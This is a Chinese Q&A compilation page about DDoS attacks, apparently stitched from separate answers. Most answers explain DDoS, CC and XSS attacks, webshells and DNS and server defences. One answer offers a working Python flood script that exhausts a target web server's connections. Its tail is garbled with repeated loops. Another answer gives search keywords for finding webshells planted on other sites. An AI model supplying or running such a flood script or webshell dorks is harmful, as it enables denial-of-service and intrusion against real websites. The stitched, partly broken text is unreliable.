ddos腳本

㈠ 幾種針對DNS的DDoS攻擊應對方法

DDoS攻擊是指通過僵屍網路利用各種服務請求耗盡被攻擊網路的系統資源，造成被攻擊網路無法處理合法用戶的請求。而針對DNS的DDoS攻擊又可按攻擊發起者和攻擊特徵進行分類：
1、按攻擊發起者分類 僵屍網路：控制大批僵屍網路利用真實DNS協議棧發起大量域名查詢請求 模擬工具：利用工具軟體偽造源IP發送海量DNS查詢
2、按攻擊特徵分類 Flood攻擊：發送海量DNS查詢報文導致網路帶寬耗盡而無法傳送正常DNS 查詢請求。
資源消耗攻擊：發送大量非法域名查詢報文引起DNS伺服器持續進行迭代查詢，從而達到較少的攻擊流量消耗大量伺服器資源的目的。

處理辦法：

屏蔽未經請求發送的DNS響應信息

一個典型的DNS交換信息是由請求信息組成的。DNS解析器會將用戶的請求信息發送至DNS伺服器中，在DNS伺服器對查詢請求進行處理之後，伺服器會將響應信息返回給DNS解析器。但值得注意的是，響應信息是不會主動發送的。
伺服器在沒有接收到查詢請求之前，就已經生成了對應的響應信息，回應就被丟棄
丟棄快速重傳數據包。

1.即便是在數據包丟失的情況下，任何合法的DNS客戶端都不會在較短的時間間隔內向同一DNS伺服器發送相同的DNS查詢請求。
2.如果從相同IP地址發送至同一目標地址的相同查詢請求發送頻率過高，這些請求數據包可丟棄。

啟用TTL

如果DNS伺服器已經將響應信息成功發送了，應該禁止伺服器在較短的時間間隔內對相同的查詢請求信息進行響應。
1.對於一個合法的DNS客戶端如果已經接收到了響應信息，就不會再次發送相同的查詢請求。
2.每一個響應信息都應進行緩存處理直到TTL過期。
3.當DNS伺服器遭遇大量查詢請求時，可以屏蔽掉不需要的數據包。
丟棄未知來源的DNS查詢請求和響應數據

通常情況下，攻擊者會利用腳本來對目標進行分布式拒絕服務攻擊（DDoS攻擊），而且這些腳本通常是有漏洞的。因此，在伺服器中部署簡單的匿名檢測機制，在某種程度上可以限制傳入伺服器的數據包數量。
丟棄未經請求或突發的DNS請求

這類請求信息很可能是由偽造的代理伺服器所發送的，或是由於客戶端配置錯誤或者是攻擊流量。所以無論是哪一種情況，都應該直接丟棄這類數據包。
非泛洪攻擊 (non-flood) 時段，創建一個白名單，添加允許伺服器處理的合法請求信息。白名單可以屏蔽掉非法的查詢請求信息以及此前從未見過的數據包。
這種方法能夠有效地保護伺服器不受泛洪攻擊的威脅，也能保證合法的域名伺服器只對合法的DNS查詢請求進行處理和響應。

啟動DNS客戶端驗證

偽造是DNS攻擊中常用的一種技術。如果設備可以啟動客戶端驗證信任狀，便可以用於從偽造泛洪數據中篩選出非泛洪數據包。
對響應信息進行緩存處理

如果某一查詢請求對應的響應信息已經存在於伺服器的DNS緩存之中，緩存可以直接對請求進行處理。這樣可以有效地防止伺服器因過載而發生宕機。

很多請求中包含了伺服器不具有或不支持的信息，我們可以進行簡單的阻斷設置，例如外部IP地址請求區域轉換或碎片化數據包，直接將這類請求數據包丟棄。
利用ACL，BCP38，及IP信譽功能的使用

託管DNS伺服器的任何企業都有用戶軌跡的限制，當攻擊數據包被偽造，偽造請求來自世界各地的源地址。設置一個簡單的過濾器可阻斷不需要的地理位置的IP地址請求或只允許在地理位置白名單內的IP請求。

還有一種情況，某些偽造的數據包可能來自與內部網路地址，可以利用BCP38通過硬體過濾也可以清除異常來源地址的請求。
BCP38對於提供DNS解析的服務提供商也相當有用，可以避免用戶向外發送攻擊或受到內部地址請求的攻擊，過濾用戶並保證其數據傳輸。

提供餘量帶寬

如果伺服器日常需要處理的DNS通信量達到了X Gbps，請確保流量通道不止是日常的量，有一定的帶寬餘量可以有利於處理大規模攻擊。
結語，目前針對DNS的攻擊已成為最嚴重的網路威脅之一。目前越來越多的大型網站注重DNS保護這一塊。為保障網站安全，保障網站利益，選擇高防型的DNS為自己的域名進行解析已經迫在眉睫。

希望可以幫到您，謝謝！

㈡ 什麼是DDOS/webshell/

webshell是什麼

Webshell是什麼？這是很多朋友在疑惑的問題，什麼是webshell？今天我們就講講這個話題！

webshell是web入侵的腳本攻擊工具。簡單的說來，webshell就是一個asp或php木馬後門，黑客在入侵了一個網站後，常常在將這些 asp或php木馬後門文件放置在網站伺服器的web目錄中，與正常的網頁文件混在一起。然後黑客就可以用web的方式，通過asp或php木馬後門控制網站伺服器，包括上傳下載文件、查看資料庫、執行任意程序命令等。

為了更好理解webshell我們學習兩個概念：

什麼是「木馬」？「木馬」全稱是「特洛伊木馬(Trojan
Horse)」，原指古希臘士兵藏在木馬內進入敵方城市從而佔領敵方城市的故事。在Internet上，「特洛伊木馬」指一些程序設計人員在其可從網路上下載 (Download)的應用程序或游戲中，包含了可以控制用戶的計算機系統的程序，可能造成用戶的系統被破壞甚至癱瘓。

什麼是後門？大家都知道，一台計算機上有65535個埠，那麼如果把計算機看作是一間屋子，那麼這65535個埠就可以它看做是計算機為了與外界連接所開的65535 扇門。每個門的背後都是一個服務。有的門是主人特地打開迎接客人的（提供服務），有的門是主人為了出去訪問客人而開設的（訪問遠程服務）——理論上，剩下的其他門都該是關閉著的，但偏偏由於各種原因，很多門都是開啟的。於是就有好事者進入，主人的隱私被刺探，生活被打擾，甚至屋裡的東西也被搞得一片狼跡。這扇悄然被開啟的門——就是「後門」。

webshell的優點

webshell 最大的優點就是可以穿越防火牆，由於與被控制的伺服器或遠程主機交換的數據都是通過80埠傳遞的，因此不會被防火牆攔截。並且使用webshell一般不會在系統日誌中留下記錄，只會在網站的web日誌中留下一些數據提交記錄，沒有經驗的管理員是很難看出入侵痕跡的。

如何尋找webshel：
1，腳本攻擊SQL注入
2，使用注入工具
3，在瀏覽器里打開網路,輸入搜索關鍵詞"在本頁操作不需要FSO支持&"或者"一次只能執行一個操作",然後點擊搜索,很快就可以看到檢索到了大量的查詢結果.
其他的東西，暫時不多說了，以後再深入吧，每天准備一個話題，需要的是巨大的毅力和努力，我們舉辦的每日講座就是為了通俗容易懂的普及信息安全知識，讓不喜歡看文章，覺得信息安全知識很深奧枯燥的人都明白，其實他只要花很少時間，就可以了解很多信息安全知識！

㈢ cc攻擊和ddos攻擊有什麼區別啊

CC攻擊和DDoS攻擊的區別表現在：攻擊對象、危害、門檻、流量大小等方面。

1、攻擊對象不同

DDoS是針對IP的攻擊。

CC攻擊針對的是網頁。

2、危害不同

DDoS攻擊危害性較大，更難防禦。

CC攻擊的危害不是毀滅性的，但是持續時間長。

3、門檻不同

DDoS攻擊門檻高，攻擊者一般需要在攻擊前搜集被攻擊目標主機數目、地址情況、目標主機的配置性能等資料，盲目攻擊可能導致效果不佳。

CC攻擊門檻低，利用更換IP代理工具即可實施攻擊，且目標比較明確，黑客水平比較低的用戶也能進行。

4、流量大小不同

DDoS攻擊比CC攻擊所需要流量更大。

CC攻擊有時不需要很大的流量。

㈣ ddos攻擊

一.什麼是DDOS？
DDOS是英文Distributed Denial of Service的縮寫，意即「分布式拒絕服務」，那麼什麼又是拒絕服務（Denial of Service）呢？可以這么理解，凡是能導致合法用戶不能夠訪問正常網路服務的行為都算是拒絕服務攻擊。也就是說拒絕服務攻擊的目的非常明確，就是要阻止合法用戶對正常網路資源的訪問，從而達成攻擊者不可告人的目的。雖然同樣是拒絕服務攻擊，但是DDOS和DOS還是有所不同，DDOS的攻擊策略側重於通過很多「僵屍主機」（被攻擊者入侵過或可間接利用的主機）向受害主機發送大量看似合法的網路包，從而造成網路阻塞或伺服器資源耗盡而導致拒絕服務，分布式拒絕服務攻擊一旦被實施，攻擊網路包就會猶如洪水般湧向受害主機，從而把合法用戶的網路包淹沒，導致合法用戶無法正常訪問伺服器的網路資源，因此，拒絕服務攻擊又被稱之為「洪水式攻擊」，常見的DDOS攻擊手段有SYN Flood、ACK Flood、UDP Flood、ICMP Flood、TCP Flood、Connections Flood、Script Flood、Proxy Flood等；而DOS則側重於通過對主機特定漏洞的利用攻擊導致網路棧失效、系統崩潰、主機死機而無法提供正常的網路服務功能，從而造成拒絕服務，常見的DOS攻擊手段有TearDrop、Land、Jolt、IGMP Nuker、Boink、Smurf、Bonk、OOB等。就這兩種拒絕服務攻擊而言，危害較大的主要是DDOS攻擊，原因是很難防範，至於DOS攻擊，通過給主機伺服器打補丁或安裝防火牆軟體就可以很好地防範，後文會詳細介紹怎麼對付DDOS攻擊。
三、被DDOS了嗎？
DDOS的表現形式主要有兩種，一種為流量攻擊，主要是針對網路帶寬的攻擊，即大量攻擊包導致網路帶寬被阻塞，合法網路包被虛假的攻擊包淹沒而無法到達主機；另一種為資源耗盡攻擊，主要是針對伺服器主機的攻擊，即通過大量攻擊包導致主機的內存被耗盡或CPU被內核及應用程序占完而造成無法提供網路服務。
如何判斷網站是否遭受了流量攻擊呢？可通過Ping命令來測試，若發現Ping超時或丟包嚴重(假定平時是正常的)，則可能遭受了流量攻擊，此時若發現和你的主機接在同一交換機上的伺服器也訪問不了了，基本可以確定是遭受了流量攻擊。當然，這樣測試的前提是你到伺服器主機之間的ICMP協議沒有被路由器和防火牆等設備屏蔽，否則可採取Telnet主機伺服器的網路服務埠來測試，效果是一樣的。不過有一點可以肯定，假如平時Ping你的主機伺服器和接在同一交換機上的主機伺服器都是正常的，突然都Ping不通了或者是嚴重丟包，那麼假如可以排除網路故障因素的話則肯定是遭受了流量攻擊，再一個流量攻擊的典型現象是，一旦遭受流量攻擊，會發現用遠程終端連接網站伺服器會失敗。
相對於流量攻擊而言，資源耗盡攻擊要容易判斷一些，假如平時Ping網站主機和訪問網站都是正常的，發現突然網站訪問非常緩慢或無法訪問了，而Ping還可以Ping通，則很可能遭受了資源耗盡攻擊，此時若在伺服器上用Netstat -na命令觀察到有大量的SYN_RECEIVED、TIME_WAIT、FIN_WAIT_1等狀態存在，而ESTABLISHED很少，則可判定肯定是遭受了資源耗盡攻擊。還有一種屬於資源耗盡攻擊的現象是，Ping自己的網站主機Ping不通或者是丟包嚴重，而Ping與自己的主機在同一交換機上的伺服器則正常，造成這種原因是網站主機遭受攻擊後導致系統內核或某些應用程序CPU利用率達到100%無法回應Ping命令，其實帶寬還是有的，否則就Ping不通接在同一交換機上的主機了。
：
1、SYN/ACK Flood攻擊：
這種攻擊方法是經典最有效的DDOS方法，可通殺各種系統的網路服務，主要是通過向受害主機發送大量偽造源IP和源埠的SYN或ACK包，導致主機的緩存資源被耗盡或忙於發送回應包而造成拒絕服務，由於源都是偽造的故追蹤起來比較困難，缺點是實施起來有一定難度，需要高帶寬的僵屍主機支持。少量的這種攻擊會導致主機伺服器無法訪問，但卻可以Ping的通，在伺服器上用Netstat -na命令會觀察到存在大量的SYN_RECEIVED狀態，大量的這種攻擊會導致Ping失敗、TCP/IP棧失效，並會出現系統凝固現象，即不響應鍵盤和滑鼠。普通防火牆大多無法抵禦此種攻擊。
2、TCP全連接攻擊：
這種攻擊是為了繞過常規防火牆的檢查而設計的，一般情況下，常規防火牆大多具備過濾TearDrop、Land等DOS攻擊的能力，但對於正常的TCP連接是放過的，殊不知很多網路服務程序（如：IIS、Apache等Web伺服器）能接受的TCP連接數是有限的，一旦有大量的TCP連接，即便是正常的，也會導致網站訪問非常緩慢甚至無法訪問，TCP全連接攻擊就是通過許多僵屍主機不斷地與受害伺服器建立大量的TCP連接，直到伺服器的內存等資源被耗盡而被拖跨，從而造成拒絕服務，這種攻擊的特點是可繞過一般防火牆的防護而達到攻擊目的，缺點是需要找很多僵屍主機，並且由於僵屍主機的IP是暴露的，因此容易被追蹤。
3、刷Script腳本攻擊：
這種攻擊主要是針對存在ASP、JSP、PHP、CGI等腳本程序，並調用MSSQLServer、MySQLServer、Oracle等資料庫的網站系統而設計的，特徵是和伺服器建立正常的TCP連接，並不斷的向腳本程序提交查詢、列表等大量耗費資料庫資源的調用，典型的以小博大的攻擊方法。一般來說，提交一個GET或POST指令對客戶端的耗費和帶寬的佔用是幾乎可以忽略的，而伺服器為處理此請求卻可能要從上萬條記錄中去查出某個記錄，這種處理過程對資源的耗費是很大的，常見的資料庫伺服器很少能支持數百個查詢指令同時執行，而這對於客戶端來說卻是輕而易舉的，因此攻擊者只需通過Proxy代理向主機伺服器大量遞交查詢指令，只需數分鍾就會把伺服器資源消耗掉而導致拒絕服務，常見的現象就是網站慢如蝸牛、ASP程序失效、PHP連接資料庫失敗、資料庫主程序佔用CPU偏高。這種攻擊的特點是可以完全繞過普通的防火牆防護，輕松找一些Proxy代理就可實施攻擊，缺點是對付只有靜態頁面的網站效果會大打折扣，並且有些Proxy會暴露攻擊者的IP地址。
二.怎麼抵禦DDOS？
對付DDOS是一個系統工程，想僅僅依靠某種系統或產品防住DDOS是不現實的，可以肯定的是，完全杜絕DDOS目前是不可能的，但通過適當的措施抵禦90%的DDOS攻擊是可以做到的，基於攻擊和防禦都有成本開銷的緣故，若通過適當的辦法增強了抵禦DDOS的能力，也就意味著加大了攻擊者的攻擊成本，那麼絕大多數攻擊者將無法繼續下去而放棄，也就相當於成功的抵禦了DDOS攻擊。以下為筆者多年以來抵禦DDOS的經驗和建議，和大家分享！
1、採用高性能的網路設備
首先要保證網路設備不能成為瓶頸，因此選擇路由器、交換機、硬體防火牆等設備的時候要盡量選用知名度高、口碑好的產品。再就是假如和網路提供商有特殊關系或協議的話就更好了，當大量攻擊發生的時候請他們在網路接點處做一下流量限制來對抗某些種類的DDOS攻擊是非常有效的。
2、盡量避免NAT的使用
無論是路由器還是硬體防護牆設備要盡量避免採用網路地址轉換NAT的使用，因為採用此技術會較大降低網路通信能力，其實原因很簡單，因為NAT需要對地址來回轉換，轉換過程中需要對網路包的校驗和進行計算，因此浪費了很多CPU的時間，但有些時候必須使用NAT，那就沒有好辦法了。
3、充足的網路帶寬保證
網路帶寬直接決定了能抗受攻擊的能力，假若僅僅有10M帶寬的話，無論採取什麼措施都很難對抗現在的SYNFlood攻擊，當前至少要選擇100M的共享帶寬，最好的當然是掛在1000M的主幹上了。但需要注意的是，主機上的網卡是1000M的並不意味著它的網路帶寬就是千兆的，若把它接在100M的交換機上，它的實際帶寬不會超過100M，再就是接在100M的帶寬上也不等於就有了百兆的帶寬，因為網路服務商很可能會在交換機上限制實際帶寬為10M，這點一定要搞清楚。
4、升級主機伺服器硬體
在有網路帶寬保證的前提下，請盡量提升硬體配置，要有效對抗每秒10萬個SYN攻擊包，伺服器的配置至少應該為：P4 2.4G/DDR512M/SCSI-HD，起關鍵作用的主要是CPU和內存，若有志強雙CPU的話就用它吧，內存一定要選擇DDR的高速內存，硬碟要盡量選擇SCSI的，別只貪IDE價格不貴量還足的便宜，否則會付出高昂的性能代價，再就是網卡一定要選用3COM或Intel等名牌的，若是Realtek的還是用在自己的PC上吧。

5、把網站做成靜態頁面
大量事實證明，把網站盡可能做成靜態頁面，不僅能大大提高抗攻擊能力，而且還給黑客入侵帶來不少麻煩，至少到現在為止關於HTML的溢出還沒出現，看看吧！新浪、搜狐、網易等門戶網站主要都是靜態頁面，若你非需要動態腳本調用，那就把它弄到另外一台單獨主機去，免的遭受攻擊時連累主伺服器，當然，適當放一些不做資料庫調用腳本還是可以的，此外，最好在需要調用資料庫的腳本中拒絕使用代理的訪問，因為經驗表明使用代理訪問你網站的80%屬於惡意行為。
6、增強操作系統的TCP/IP棧
Win2000和Win2003作為伺服器操作系統，本身就具備一定的抵抗DDOS攻擊的能力，只是默認狀態下沒有開啟而已，若開啟的話可抵擋約10000個SYN攻擊包，若沒有開啟則僅能抵禦數百個，具體怎麼開啟，自己去看微軟的文章吧！《強化 TCP/IP 堆棧安全》。也許有的人會問，那我用的是Linux和FreeBSD怎麼辦？很簡單，按照這篇文章去做吧！《SYN Cookies》

朋友你的WEB伺服器肯定是受到了外網DDOS的攻擊.
你可以來聯系我.我的QQ是343773014
我是從事網路安全這一塊的.專業防禦DDOS的攻擊.
我可以幫你解決的.

㈤ xss攻擊h和ddos攻擊的區別

XSS攻擊：跨站腳本攻擊(Cross Site Scripting)，為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS。
分布式拒絕服務(DDoS:Distributed Denial of Service)攻擊指藉助於客戶/伺服器技術，將多個計算機聯合起來作為攻擊平台，對一個或多個目標發動DDoS攻擊，從而成倍地提高拒絕服務攻擊的威力。通常，攻擊者使用一個偷竊帳號將DDoS主控程序安裝在一個計算機上，在一個設定的時間主控程序將與大量代理程序通訊，代理程序已經被安裝在網路上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/伺服器技術，主控程序能在幾秒鍾內激活成百上千次代理程序的運行。

㈥ 好用的ddos攻擊工具哪裡能找到

基本能把arp搞定。網路上有寫好的防arp腳本，做好軟路由導入就可以了。我手底下的網吧都是這樣做的。資料可以網路上找，很多。希望回答對你有用！！

㈦ 什麼是DDOS攻擊工具。和僵屍網路(botnet).

http://blog.sina.com.cn/s/blog_74ae89a30100uss3.html
ddos ddos攻擊 找js ddos團隊

㈧ 網路安全技術 常見的DDoS攻擊方法有哪些

常見的D
DoS攻擊
方法有：
1、SYN/ACK
Flood攻擊
這種攻擊方法是經典最有效的
DDOS攻擊
方法，可通殺各種系統的網路服務，主要是通過向受害主機發送大量偽造源IP和源埠的SYN或ACK包，導致主機的緩存資源被耗盡或忙於發送回應包而造成
拒絕服務
，由於源都是偽造的故追蹤起來比較困難，缺點是實施起來有一定難度，需要高帶寬的僵屍主機支持。少量的這種攻擊會導致主機伺服器無法訪問，但卻可以Ping的通，在伺服器上用Netstat
-na命令會觀察到存在大量的SYN_RECEIVED狀態，大量的這種攻擊會導致Ping失敗、TCP/IP棧失效，並會出現系統凝固現象，即不響應鍵盤和滑鼠。普通防火牆大多無法抵禦此種攻擊。
2、TCP全連接攻擊
這種攻擊是為了繞過常規防火牆的檢查而設計的，一般情況下，常規防火牆大多具備過濾TearDrop、Land等DOS攻擊的能力，但對於正常的TCP連接是放過的，殊不知很多網路服務程序（如：IIS、Apache等
Web伺服器
）能接受的TCP連接數是有限的，一旦有大量的TCP連接，即便是正常的，也會導致網站訪問非常緩慢甚至無法訪問，TCP全連接攻擊就是通過許多僵屍主機不斷地與受害伺服器建立大量的TCP連接，直到伺服器的內存等資源被耗盡而被拖跨，從而造成拒絕服務，這種攻擊的特點是可繞過一般防火牆的防護而達到攻擊目的，缺點是需要找很多僵屍主機，並且由於僵屍主機的IP是暴露的，因此此種DDOS攻擊方式容易被追蹤。
3、刷Script腳本攻擊
這種攻擊主要是針對存在ASP、JSP、PHP、CGI等
腳本程序
，並調用
MSSQLServer
、MySQLServer、Oracle等資料庫的網站系統而設計的，特徵是和伺服器建立正常的TCP連接，並不斷的向腳本程序提交查詢、列表等大量耗費資料庫資源的調用，典型的以小博大的攻擊方法。一般來說，提交一個GET或POST指令對客戶端的耗費和帶寬的佔用是幾乎可以忽略的，而伺服器為處理此請求卻可能要從上萬條記錄中去查出某個記錄，這種處理過程對資源的耗費是很大的，常見的
資料庫伺服器
很少能支持數百個查詢指令同時執行，而這對於客戶端來說卻是輕而易舉的，因此攻擊者只需通過Proxy代理向主機伺服器大量遞交查詢指令，只需數分鍾就會把伺服器資源消耗掉而導致拒絕服務，常見的現象就是網站慢如蝸牛、
ASP程序
失效、PHP連接資料庫失敗、資料庫主程序佔用CPU偏高。這種攻擊的特點是可以完全繞過普通的防火牆防護，輕松找一些Proxy代理就可實施攻擊，缺點是對付只有
靜態頁面
的網站效果會大打折扣，並且有些Proxy會暴露DDOS攻擊者的IP地址。

㈨ 誰會ddos。

我會。
DDoS用最簡單來理解就是:我朝你扔蘋果，扔好多，你接不住，蘋果就撒了。DDoS也是這樣，不斷發出報文、包、連接請求，使對方伺服器流量超載。如果會編程，用代碼。不會的話，微軟的PING可以代替一下。
DDoS的Py腳本如下：
import socket
import time
import threading
#Pressure Test,ddos tool

#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在雙引號里輸入對方IP或域名，要保證他聯網了或開機了.
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))

socks=[]
def ddos():
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())

def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)

#end def

def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()

#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())

conn_th.start()
send_th.start()
ddos()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
while 1:
s.connect((HOST,PORT))
s.send(buf.encode())
s.send(buf.encode())
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
微軟的PING命令版「DDoS」：
ping -t IP
(說實話，PING其實根本沒效果哦，不過，DDoS腳本和PING一起用，效果比較大.)
望採納！！！

㈩ 什麼是DDOS攻擊，肉雞又是什麼什麼軟體怎麼攻擊網吧

ddos是 說簡單點是讓伺服器忙碌的拒絕所有正常的服務 肉雞是黑客對自己可以控制的電腦的俗稱 軟體嘛 怎麼攻擊網吧嘛 這個 呵呵 給你個學習的方向 要知道 這些是違法的事情 但是不是不可以學習 先學習下面這些：
學會基本軟體的使用：
這里所說的基本軟體是指兩個內容：一個是我們日常使用的各種電腦常用命令，例如ftp、ping、net等；另一方面還要學會有關黑客工具的使用，這主要包括埠掃描器、漏洞掃描器、信息截獲工具和密碼破解工具等。因為這些軟體品種多，功能各不相同，所以本書在後面將會介紹幾款流行的軟體使用方法，學習者在掌握其基本原理以後，既可以選擇適合自己的，也可以在「第二部分」中找到有關軟體的開發指南，編寫自己的黑客工具。
初步了解網路協議和工作原理：
所謂「初步了解」就是「按照自己的理解方式」弄明白網路的工作原理，因為協議涉及的知識多且復雜，所以如果在一開始就進行深入研究，勢必會大大挫傷學習積極性。在這里我建議學習者初步了解有關tcp/ip協議，尤其是瀏覽網頁的時候網路是如何傳遞信息、客戶端瀏覽器如何申請「握手信息」、伺服器端如何「應答握手信息」並「接受請求」等內容，此部分內容將會在後面的章節中進行具體介紹。
四、熟悉幾種流行的編程語言和腳本：
同上面所述一樣，這里也不要求學習者進行深入學習，只要能夠看懂有關語言、知道程序執行結果就可以了。建議學習者初步學習C語言、asp和cgi腳本語言，另外對於htm超文本語言和php、java等做基本了解，主要學習這些語言中的「變數」和「數組」部分，因為語言之間存在內在聯系，所以只要熟練掌握其中一們，其他語言也可以一脈相同，建議學習C語言和htm超文本語言。
五、熟悉網路應用程序：
網路應用程序包括各種伺服器軟體後台程序，例如：wuftp、Apache等伺服器後台；還有網上流行的各種論壇、電子社區。有條件的學習者最好將自己的電腦做成伺服器，然後安裝並運行一些論壇代碼，經過一番嘗試之後，將會感性的弄清楚網路工作原理，這比依靠理論學習要容易許多，能夠達到事半功倍的效果！
不同的操作系統配合不同的應用程序就構成了系統環境，例如Linux系統配合Apache軟體可以將電腦構設成一台網站伺服器，其他使用客戶端的電腦可以使用瀏覽器來獲得網站伺服器上供瀏覽者閱讀的文本信息；再如Windows2000配合Ftpd軟體可以將電腦構設成一台文件伺服器，通過遠程ftp登陸可以獲得系統上的各種文件資源等。
如果這些都不懂 不要說黑客入門了 連電腦都用不好 也有特例 在網吧掛掛木馬 盜盜號碼 這些不是黑客 而是小混混做的事情 要學習如何掛馬這些 不用人教了吧 下載了裝上連小學生都會 要會ddos 要有肉雞也很簡單 但這些不是目的 得到人家的電腦又能怎麼樣 得到了幾個賬號密碼又能怎麼樣 這不能說明什麼 努力從基礎學起吧 加油 同路